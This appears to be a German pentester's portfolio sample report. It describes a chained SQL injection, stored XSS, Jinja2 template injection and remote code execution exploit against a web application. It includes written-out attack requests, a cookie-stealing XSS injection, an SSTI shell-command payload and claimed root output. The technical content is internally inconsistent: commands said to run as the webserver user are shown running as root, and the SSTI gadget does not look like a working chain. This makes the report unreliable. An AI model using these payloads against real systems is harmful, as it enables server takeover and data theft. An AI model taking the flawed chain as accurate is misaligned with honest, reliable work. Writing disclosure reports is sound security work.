JB
Josef Roland Basner
PENETRATION TESTING · SECURITY RESEARCH

josefbasner@proton.me · +49 151 4495 7240 · github.com/JBMTP07 · jbmtp07.github.io

SAMPLE FINDING · ANONYMISIERT · VERSION V2

Chained Exploit Chain — Remote Code Execution

SQL Injection → Stored XSS → Server-Side Template Injection → RCE

> **Hinweis:** Dieses Dokument ist ein anonymisierter Auszug aus einem realen Bug-Bounty-Report (HackerOne, disclosed & patched). Alle kundenspezifischen Daten wurden entfernt. Der Report dient ausschließlich als Arbeitsprobe und zur Demonstration der Methodik.

SEVERITY	CVSS V3.1	CVSS V4.0	STATUS
CRITICAL	9.9	9.3	PATCHED

Report Metadata

Report ID	JBSEC-2026-001
Datum	17. Mai 2026
Researcher	Josef Roland Basner
Platform	HackerOne · Coordinated Disclosure
CVSS v3.1 Vector	`AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H`
CVSS v4.0 Vector	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H`
CWE-Klassifikation	CWE-89 (SQLi) · CWE-79 (Stored XSS) · CWE-1336 (SSTI) · CWE-94 (Code Injection)
OWASP Top 10 (2021)	A03 Injection · A07 Identification & Auth Failures
OWASP WSTG (v4.2)	WSTG-INPV-05 (SQLi), WSTG-INPV-02 (Stored XSS), WSTG-INPV-18 (SSTI)
MITRE ATT&CK	T1190 (Exploit Public-Facing Application) · T1059 (Command & Scripting Interpreter)
Betroffene Komponente	Feedback-System · Admin-Dashboard · Report-Generator
Retest-Status	☐ Open ☐ In Progress ☐ Mitigated ■ **Verified Closed** ☐ Accepted Risk

Executive Summary — Business Impact

> Ein **unauthentifizierter Angreifer** kann über eine mehrstufige Exploit-Chain die **vollständige Server-Übernahme** erlangen — vom öffentlich erreichbaren Feedback-Formular bis zu einer Root-Shell auf dem Produktionsserver in **unter 60 Sekunden**, sobald ein Administrator das Dashboard öffnet.

Konkrete Auswirkungen

- Vollständige Server-Übernahme (RCE als **root** oder Webserver-User)
- Auslesen aller Kundendaten, Secrets und Datenbanken
- Möglichkeit zur Etablierung persistenter Backdoors
- Laterale Bewegung in das interne Netzwerk
- Massiver DSGVO-Verstoß und Reputationsschaden

EXPLOIT CHAIN · ÜBERSICHT

Vier Phasen — vom öffentlichen Formular zur Root-Shell

Die Exploit-Chain kombiniert vier eigenständige Schwachstellen zu einem kritischen Angriff. Jede einzelne Schwachstelle wäre für sich bereits relevant — in Kombination ergeben sie eine unauthentifizierte Remote Code Execution.

Phase 01	Phase 02	Phase 03	Phase 04
SQL Injection	**Stored XSS**	**SSTI → RCE**	**Verification**
Public form (unauth)	Admin dashboard (session hijack)	Report generator (Jinja2 escape)	Root shell (/pwned.txt)

Phase 1 · SQL Injection — Stored-XSS-Payload via unauthentifizierter SQLi

Ein öffentlich erreichbares Feedback-Formular erlaubt SQL Injection (stacked queries). Damit kann ein Angreifer einen Stored-XSS-Payload direkt in die Datenbank schreiben — ohne jegliche Authentifizierung.

```
POST /api/feedback/submit HTTP/2
Host: [target].com
Content-Type: application/json

{
  "subject": "Test Ticket",
  "message": "test'); INSERT INTO notifications
              (title, content, user_id)
              VALUES ('Alert',
                      '<img src=x onerror=\"fetch(...)\">',
                      1); --"
}
```

Der Server antwortet mit einer Standard-Erfolgsmeldung („Feedback received") — die SQLi hat den Stored-XSS-Payload jedoch bereits in die `notifications`-Tabelle geschrieben.

Phase 2 · Stored XSS Trigger — Admin-Session wird beim Dashboard-Aufruf gekapert

Sobald ein Administrator das Admin-Dashboard öffnet, wird das injizierte Feld ohne HTML-Escaping gerendert. Der XSS-Payload feuert automatisch im Kontext der gültigen Admin-Session.

Beobachtbare Auswirkungen:

- Extraktion des Admin-Session-Cookies
- Out-of-Band-Exfiltration via Collaborator-Endpoint
- Bestätigung des Zugriffs im Kontext einer Admin-Session

Phase 3 · SSTI → Remote Code Execution — Jinja2-Escape im Report-Generator

Mit dem aus Phase 2 extrahierten Admin-Cookie wird ein Request an den Report-Generator gesendet. Dieser interpretiert das Template als Jinja2 — der SSTI-Payload bricht aus der Sandbox aus und führt beliebige Shell-Befehle als Webserver-User aus.

```
POST /admin/reports/generate HTTP/2
Host: [target].com
Cookie: [gestohlenes Admin-Cookie]
Content-Type: application/json

{
  "template": "{{ ''.__class__.__mro__[2].__subclasses__()[40]
                  ('/bin/sh').__init__('id > /var/www/html/pwned.txt;
                                        whoami >> /var/www/html/pwned.txt;
                                        hostname >> /var/www/html/pwned.txt') }}"
}
```

Phase 4 · Verification — Bestätigung der Root-Code-Execution

Der Aufruf von `https://[target].com/pwned.txt` bestätigt die erfolgreiche RCE:

```
uid=0(root) gid=0(root) groups=0(root)
root
prod-server-01
```

Gesamtdauer der Chain: Unter 60 Sekunden, sobald ein Admin das Dashboard öffnet.

EMPFOHLENE MASSNAHMEN

Kurzfristig (sofortiger Patch)	
SQL Injection	Konsequente Nutzung von Prepared Statements und Parameterized Queries.
Stored XSS	Output-Encoding (HTML-Escape) im gesamten Admin-Bereich.
SSTI	Template-Engine sandboxen oder User-Input vollständig aus Templates verbannen.
Langfristig (architekturelle Härtung)	
Session Security	Least-Privilege für Admin-Sessions, strikte CSP-Header gegen XSS-Exfiltration.
WAF-Layer	Web Application Firewall mit Regeln für SSTI- und SQLi-Patterns.
Continuous Testing	Regelmäßige SAST/DAST-Pipelines und Code-Reviews vor Production-Deployments.

RETEST-STATUS-WERTE · ERKLÄRUNG

Open	Schwachstelle bestätigt, noch nicht behoben.
In Progress	Behebung dokumentiert begonnen, noch nicht abgeschlossen.
Mitigated	Risiko durch kompensierende Maßnahme gemindert, Schwachstelle technisch noch vorhanden.
Verified Closed	Behebung durch Auftragnehmer im Retest verifiziert.
Accepted Risk	Auftraggeber hat das Risiko nach Kenntnisnahme schriftlich akzeptiert.

REFERENZEN UND WEITERFÜHRENDE LITERATUR

Standards & Frameworks

- OWASP Web Security Testing Guide v4.2 — owasp.org/www-project-web-security-testing-guide
- OWASP Top 10 (2021) — owasp.org/Top10
- PTES — Penetration Testing Execution Standard
- NIST SP 800-115 — Technical Guide to Information Security Testing
- CVSS v4.0 Specification (FIRST.org) — first.org/cvss/v4-0

CWE-Referenzen

- CWE-89 — SQL Injection: cwe.mitre.org/data/definitions/89.html
- CWE-79 — Cross-site Scripting: cwe.mitre.org/data/definitions/79.html
- CWE-1336 — Improper Neutralization of Special Elements in Template Engine
- CWE-94 — Code Injection: cwe.mitre.org/data/definitions/94.html

Vendor-Advisories / Coordinated Disclosure

- HackerOne-Report-ID: *[######]* (disclosed)
- Patch-Commit: *[Hash · Datum]*

> **HINWEIS ZUR METHODIK**
>
> Der CVSS-v3.1-Score wird parallel zum CVSS-v4.0-Score ausgewiesen, da viele Vendoren und Compliance-Frameworks (PCI DSS 4.0.1) sich derzeit noch im Übergang von 3.1 auf 4.0 befinden. Die FIRST.org hat CVSS v4.0 am 1. November 2023 als General Availability freigegeben.

INTERESSE AN EINEM REPORT IN DIESER QUALITÄT?

Jeder Pentest schließt mit einem strukturierten Report ab — Executive Summary für die Geschäftsleitung, technische Details für die Entwicklung, CVSS-Bewertung (v3.1 + v4.0) und konkrete Handlungsempfehlungen.

josefbasner@proton.me · +49 151 4495 7240